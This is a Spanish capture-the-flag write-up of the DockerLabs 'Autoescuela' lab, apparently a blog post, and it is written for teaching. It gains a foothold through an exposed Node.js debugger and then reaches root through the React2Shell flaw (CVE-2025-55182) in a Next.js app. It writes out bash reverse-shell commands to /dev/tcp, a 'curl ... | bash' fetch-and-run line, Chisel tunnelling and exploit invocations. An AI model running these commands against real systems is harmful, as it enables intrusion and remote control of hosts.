June 12, 2026
DockerLabs Writeup — Autoescuela (Spanish)
A continuación, describo la guía de resolución del laboratorio de DockerLabs denominado “Autoescuela”.
David Prieto Montero (a.k.a Pyth0nK1d)
7 min read
Este laboratorio está catalogado con la dificultad "Fácil" y su autor es "mikisbd".
ATENCIÓN
Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.
Resumen de contenido sobre este laboratorio
Tags: Configuración débil de aplicación, Common Vulnerabilities and Exposures (CVE), Divulgación de información, Next.js, Node.js
Antes de comenzar, se indica un resumen de contenido que se puede encontrar en esta guía:
- Detección de un puerto que expone el depurador de Node.js con el cual es posible ejecutar código arbitrario y acceder al sistema como el usuario
webuser, debido a que la aplicación se ejecuta bajo su contexto. - Detección de una aplicación desarrollada en el framework Next.js a la escucha de forma local cuya versión de React presenta una vulnerabilidad conocida (CVE) y que permite la ejecución remota de código (RCE). Esto ofrece la posibilidad de escalar privilegios al usuario
root, debido a que la aplicación se ejecuta bajo su contexto.
Reconocimiento inicial
Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.
ping -c 1 172.17.0.2ping -c 1 172.17.0.2
Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.
Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.
sudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPortssudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPorts
En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.
nmap -sCV -p 8080,9229 -n -Pn 172.17.0.2 -oN servicesnmap -sCV -p 8080,9229 -n -Pn 172.17.0.2 -oN services
En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.
Acceso inicial (webuser)
En este caso se detecta que hay dos puertos abiertos:
- Puerto 8080 (servicio HTTP, Node.js)
- Puerto 9229 (servicio applications, Node.js debugger)
Tras revisar el puerto 8080, se detecta una página sobre preparación para el carnet de conducir. Sin embargo, tras revisarla en profundidad no se detecta nada relevante entre los distintos recursos detectados.
URL -> http://172.17.0.2:8080URL -> http://172.17.0.2:8080
Tras investigar el puerto 9229, se detecta que corresponde al depurador de Node.js.
Referencia: https://nodejs.org/learn/getting-started/debuggingReferencia: https://nodejs.org/learn/getting-started/debugging
Como es posible acceder directamente al depurador de Node.js, es posible inspeccionar la aplicación en ejecución de forma interactiva.
node inspect 127.0.0.1:9229node inspect 127.0.0.1:9229
Según la documentación oficial, esto permite la ejecución de código arbitrario en el contexto de la aplicación. Por ello, para obtener una consola interactiva sobre este usuario, primero se establece un puerto a la escucha.
rlwrap nc -nvlp 1337rlwrap nc -nvlp 1337
Al poder ejecutar código Node.js al interactuar con el depurador, se ejecuta una consola inversa escrita para este entorno en particular.
exec("process.mainModule.require('child_process').exec<AQUI LA CONSOLA INVERSA>")
Consola inversa: ('/bin/bash -c \"/bin/bash -i >& /dev/tcp/172.17.0.1/1337 0>&1\"')exec("process.mainModule.require('child_process').exec<AQUI LA CONSOLA INVERSA>")
Consola inversa: ('/bin/bash -c \"/bin/bash -i >& /dev/tcp/172.17.0.1/1337 0>&1\"')
Tras revisar el puerto a la escucha previamente establecido se puede comprobar que se ha obtenido acceso inicial al sistema objetivo como el usuario "webuser".
whoami
id
hostnamewhoami
id
hostname
En este punto se actualiza la consola inversa a una TTY usando Python.
tty -> not a tty
python3 --version
python3 -c 'import pty;pty.spawn("/bin/bash")'
tty -> /dev/pts/0tty -> not a tty
python3 --version
python3 -c 'import pty;pty.spawn("/bin/bash")'
tty -> /dev/pts/0
También es posible obtener la flag asociada a este usuario.
ls -al /home/webuser
cat /home/webuser/user.txtls -al /home/webuser
cat /home/webuser/user.txt
Escalada de privilegios (webuser -> root)
Después de enumerar el sistema, se detecta un servicio disponible de forma local a través del puerto 3000.
Tras investigar, parece ser una aplicación con una versión de React vulnerable desarrollada con el framework Next.js, debido al nombre definido para esta dentro del archivo "package.json" encontrado y las dependencias utilizadas por este.
Referencia (Next.js): https://nextjs.org/
ps aux | grep -i "root"
netstat -ntlp
ls -al node_modules/.bin/next
ls -al /root -> Permission denied
ls -al
cat package.json
...
{
"name": "react-vulnerable-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev",
"build": "next build",
"start": "next start",
"lint": "next lint"
},
"dependencies": {
"next": "15.0.0-rc.1",
"react": "19.0.0-rc.1",
"react-dom": "19.0.0-rc.1"
},
"devDependencies": {
"typescript": "^5.0.0",
"@types/node": "^20.0.0",
"@types/react": "^18.0.0",
"@types/react-dom": "^18.0.0"
}
}Referencia (Next.js): https://nextjs.org/
ps aux | grep -i "root"
netstat -ntlp
ls -al node_modules/.bin/next
ls -al /root -> Permission denied
ls -al
cat package.json
...
{
"name": "react-vulnerable-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev",
"build": "next build",
"start": "next start",
"lint": "next lint"
},
"dependencies": {
"next": "15.0.0-rc.1",
"react": "19.0.0-rc.1",
"react-dom": "19.0.0-rc.1"
},
"devDependencies": {
"typescript": "^5.0.0",
"@types/node": "^20.0.0",
"@types/react": "^18.0.0",
"@types/react-dom": "^18.0.0"
}
}
Al investigar estas versiones, se detecta que esta aplicación presenta una vulnerabilidad denominada React2Shell (CVE-2025–55182)
Versión de React: 19.0.0-rc.1
CVE: CVE-2025-55182 (React2Shell)
Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-55182Versión de React: 19.0.0-rc.1
CVE: CVE-2025-55182 (React2Shell)
Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-55182En resumen, React2Shell (CVE-2025–55182) es una vulnerabilidad de ejecución remota de código sin autenticación en React Server Components. Ocurre porque el servidor deserializa de forma insegura datos enviados por el cliente, permitiendo que un atacante envíe cargas útiles maliciosas que el servidor ejecuta. Afecta a versiones 19.x de React y a paquetes como react-server-dom-webpack, permitiendo comprometer el sistema.
Además, se detecta un exploit que automatiza la explotación de esta vulnerabilidad.
Exploit: https://github.com/whiteov3rflow/CVE-2025-55182-pocExploit: https://github.com/whiteov3rflow/CVE-2025-55182-pocPara poder explotar esta vulnerabilidad, primero se debe realizar una redirección de puerto local (local port forwarding) del puerto 3000 hacia la máquina de trabajo. Para hacer esto, se utiliza la herramienta denominada Chisel.
Herramienta utilizada: https://github.com/jpillora/chisel
Descarga de la herramienta: https://github.com/jpillora/chisel/releasesHerramienta utilizada: https://github.com/jpillora/chisel
Descarga de la herramienta: https://github.com/jpillora/chisel/releasesUna vez descargada la herramienta, primero se establece un servidor reverso en la máquina de trabajo, estableciendo el puerto 1234 para este servicio.
./chisel server -p 1234 --reverse./chisel server -p 1234 --reverse
Una vez hecho esto, se transfiere una versión compatible de la herramienta al sistema objetivo y se le indica que redirija el puerto 3000 al puerto 9000 de la máquina de trabajo.
(abrir un servidor HTTP con Python para transferir la herramienta)
python3 -m http.server 80
(desde la máquina objetivo)
cd /tmp
curl http://172.17.0.1/chisel -o chisel
chmod +x chisel (dar permisos de ejecución si no los tiene ya)
./chisel client 172.17.0.1:1234 R:9000:localhost:3000 &(abrir un servidor HTTP con Python para transferir la herramienta)
python3 -m http.server 80
(desde la máquina objetivo)
cd /tmp
curl http://172.17.0.1/chisel -o chisel
chmod +x chisel (dar permisos de ejecución si no los tiene ya)
./chisel client 172.17.0.1:1234 R:9000:localhost:3000 &
En este punto, se puede comprobar que este puerto está disponible en la máquina de trabajo a través del puerto 9000.
nmap -p 9000 -sCV -n -Pn localhostnmap -p 9000 -sCV -n -Pn localhost
Si se comprueba este servicio a través del navegador, se detecta que resuelve la web que se está sirviendo internamente a través del puerto 3000 en la máquina objetivo.
URL -> http://localhost:9000URL -> http://localhost:9000
En este punto es posible utilizar el exploit descubierto previamente para probar que sea vulnerable a ejecución remota de código (RCE). Se puede comprobar que esta aplicación se ejecuta en el contexto del usuario "root".
python3 exploit.py 'whoami' http://localhost:9000
python3 exploit.py 'id' http://localhost:9000
python3 exploit.py 'hostname' http://localhost:9000python3 exploit.py 'whoami' http://localhost:9000
python3 exploit.py 'id' http://localhost:9000
python3 exploit.py 'hostname' http://localhost:9000
Por ello, para obtener una consola interactiva sobre este usuario, primero se establece un puerto a la escucha.
rlwrap nc -nvlp 1337rlwrap nc -nvlp 1337
Además, se crea una consola inversa escrita en Bash y se pone disponible a través de un servidor HTTP con Python.
# rev.sh
#!/bin/bash
/bin/bash -c "/bin/bash -i >& /dev/tcp/172.17.0.1/1337 0>&1"
mousepad rev.sh -> pegar y guardar el script
python3 -m http.server 80# rev.sh
#!/bin/bash
/bin/bash -c "/bin/bash -i >& /dev/tcp/172.17.0.1/1337 0>&1"
mousepad rev.sh -> pegar y guardar el script
python3 -m http.server 80
En este punto se aprovecha el exploit para acceder y ejecutar la consola inversa definida.
python3 exploit.py "curl http://172.17.0.1/rev.sh | bash" http://localhost:9000python3 exploit.py "curl http://172.17.0.1/rev.sh | bash" http://localhost:9000
Tras revisar el puerto a la escucha previamente establecido se puede comprobar que se ha obtenido acceso al sistema objetivo como el usuario "root". Además, es posible leer la flag asociada a este usuario.
whoami
id
hostname
ls -al /root
cat /root/root.txtwhoami
id
hostname
ls -al /root
cat /root/root.txt
En este punto, al haber obtenido acceso a la cuenta "root", se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).
Mitigaciones a aplicar
- Evitar exponer servicios cuyo fin sea la depuración de aplicaciones u otros servicios con objetivos similares.
- Asegurarse de que los servicios expuestos estén parcheados a la última versión para evitar que una vulnerabilidad conocida pueda ser explotada.
- Ajustarse al principio de privilegio mínimo y exponer servicios con cuentas del sistema dedicadas para este fin.
¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com